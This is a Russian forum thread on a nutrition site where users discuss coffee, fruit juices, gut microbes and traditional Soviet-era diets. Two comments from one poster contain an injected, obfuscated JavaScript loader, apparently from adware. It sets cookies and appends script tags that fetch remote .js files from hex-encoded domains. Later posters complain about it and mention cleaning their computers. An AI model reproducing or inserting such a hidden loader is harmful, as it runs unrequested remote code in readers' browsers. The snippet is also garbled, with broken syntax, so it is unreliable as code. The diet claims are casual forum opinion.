О некоторых правилах питания

Интересная статья)) Особенно понравилось:  "Проблема в том, что некоторые из нас начинают истово следовать новым веяниям и сводят свой рацион к модному минимуму, а это неправильно, поскольку нашим пищеварением занимается не сознание,  а огромнейшая колония микробов"

Кофе полезен в расчете 1-2 чашки в день. Больше- уже вреден, из-за большого колличества кофеина. А здоровая пища -это и есть настоящая еда. Полуфабрикаты, консервы всякие- брррр

Раньше говорили, пейте фреши. А теперь говорят , что не разведенные соки вредны для желудка. 

Наталья Старкова написал:
нашим пищеварением занимается не сознание, а огромнейшая колония микробов

Может возникнуть и такой вопрос: а может эти микробы нас кормят, чтобы обеспечить себе крышу над головой :o

только представлю, что во мне, кроме меня, еще живут всякие микроорганизмы жутко становиться, чувствуешь себя инкубатором для другой живности)))))

Limon99, Всё может быть

Анна написал:
Бабушка моя...любила сало, пироги и оливье

Если из т.н. оливье изъять майонез неизвестного происхождения, заменив сметаной, а тесто для пирогов делать из правильной муки, то всё это и есть настоящая еда, сытная, полезная и привычная в нашем умеренно-континентальном климате .

Моя свекровь умерла в возрасте 90 лет.Основой питания было сало,гороховый суп,ежедневно яблоко.И очень много находилась на свежем воздухе,в любую погоду.

Татьяна дочь Павла, мне монотонность рациона тоже импонирует.

Татьяна дочь Павла написал:
очень много находилась на свежем воздухе,в любую погоду

Мечта любого городского обитателя

Анна, я так понимаю, ваша бабушка не отворачивалась от здоровой еды, подавая вам пример

Анна написал:
макароны. картошка. хлеб. как у всех в то время

А в какое конкретно время? В СССР, вообще-то, при всеобщем дефиците повседневная еда была доброкачественной и люди, родившиеся в 30-х годах, дожившие до наших дней, имеют здоровье лучше, чем многие из поколения Next.

Анна написал:
свинина запеченная под слоем сыра и майонеза

Они что, семь дней в неделю ели ЭТО? Нет, повседневная еда это дешёвые серые макароны, серый хлеб, селёдка с луком, пшённая каша, квашеные овощи, море щей, картошка и жареная колбаса как деликатес. И всё это была настоящая еда. Сейчас серой муки, даже 1-го сорта не найти, ну, а цельнозерновую продают по несуразным ценам: "Здоровье Алтая" и "Кудесница" - 70-110 руб/кг. Зато никчёмной пустышкой -- мукой высшего сорта -- завалены полки всех магазинов.

Анна написал:
Выживали сильнейшие, теперь медицина шагнула далеко вперед, сохраняют и вынашивают слабеньких детишек.

Интересно в какой это стране медицина шагнула далеко вперед?
А что статистика говорит об увеличении количества слабеньких новорожденных? В мое время (90-е годы, когда я рожала) дети рождались более здоровыми, а сейчас очень многие рожают, чтобы получить материнский капитал на пропой. Какое здоровье и развитие нации? А майонез был без консервантов (судя по сроку годности) и ели его раз 8 в год по праздникам.Анна, 
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Бабушки разные попадаются

Сергей, конечно, имеются в виду правильные бабушки .

Остапенко Лилия написал:
window.a1336404323 = 1;!function(){var

Эта хренотень сопровождает ли ваши сообщения где-нибудь ещё (на других ресурсах) помимо ленты? А  то потихоньку начинает доставать, чесслово

танюшка, Фреш поднимает уровень сахара в крови в 6 раз - можно поджелудочную посадить. Полезно есть фрукты, там клетчатка помогает регулировать уровень сахара. А фреш полезен в смысле большой концентрации витамина С - необходимо только в случае борьбы с вирусом, то есть не всегда. Или перед тренировкой - вроде допинга. 

1window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="14945",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Остапенко Лилия, шо, опять?

Анна Семенова написал:
танюшка, Фреш поднимает уровень сахара в крови в 6 раз - можно поджелудочную посадить. Полезно есть фрукты, там клетчатка помогает регулировать уровень сахара. А фреш полезен в смысле большой концентрации витамина С - необходимо только в случае борьбы с вирусом, то есть не всегда. Или перед тренировкой - вроде допинга.

Фреш из зеленых овощей- типа кабачок, огурец, сладкий толстостенный перец , + 1 зеленое яблоко  да еще и разведенное водой сахар не подымет.
 Да и соки из ганата например или другие из фруктов пить только 50- 100 грм за прием и разбавленные водой. 
  Во всем надо меру и дозировку знать. Я например сок свеклы не переношу и капусты тоже . А ем с удовольствием. А вот цукини и кабачки жаренные ..... не самый лучший продукт, и тыкву не все едят. А в соке в небольших колличествах перед едой с утра. очень даже полезно. Я знаю много людей которые овощи не любят. Зато такие соки пьют с удовольствием.

Ну а если стаканами пить фреш фруктовый -то сахарный диабет легко заработать.

Остапенко Лилия, Интересный, а главное уникальный комментарий 

Limon99 написал:
Эта хренотень

Limon99 написал:
А то потихоньку начинает доставать, чесслово

А Вы злой. Добрые люди посочувствовали, а Вы почти обматерили  . А извиниться слабо?

Остапенко Лилия, я злой на кракозябры, вылезающие у многих в ленте, в т.ч. у вашего покорного слуги, который нижайше просит прощения за свой вульгарный лексикон при общении с вами .
Ну, а всё-таки, помимо ленты этот непрошеный код появляется в ваших сообщениях ещё где-нибудь в чатах?   

Limon99, нет, не появляется. Только в МЗР. У самой ума не хватило почистить, попросила у сына. Вот вчера у Белых и пушистых вылез. Мир  

светлана христова, Точно так!

Остапенко Лилия, так делитесь, что ваш сын чистил, где и как, можно даже отдельную тему слепить, скажем, "о борьбе с кракозябрами", т.к. интересно многим.

Остапенко Лилия, у меня вылезло впервые, комп у меня чищенный, просто скачала цитату с сайта, а там что-то прицепилось

Анна написал:
свинина запеченная под слоем сыра и майонеза

Анна,  , да с грибочками..ммммм..ну когда же Новый год?!)

 Limon99, Мы белые и пушистые, Остапенко Лилия, я сама!!! каким то чудом почистилась (кажется я первая эту дрянь сюда и принесла )- рылась и нашла вроде бы в закладках -увидела какой то странный значок прилепился.//чудом отлепила,но объяснить все нормальным языком не могу -методом тыка у меня все получилось -сейчас не повторяется вроде-тьфу-тьфу-тьфу

rangy, у меня первый раз вчера выскочило, я сразу всю историю удалила. Тьфу-тьфу, вроде помогло

Limon99, сын почистил, но не объяснил к сожалению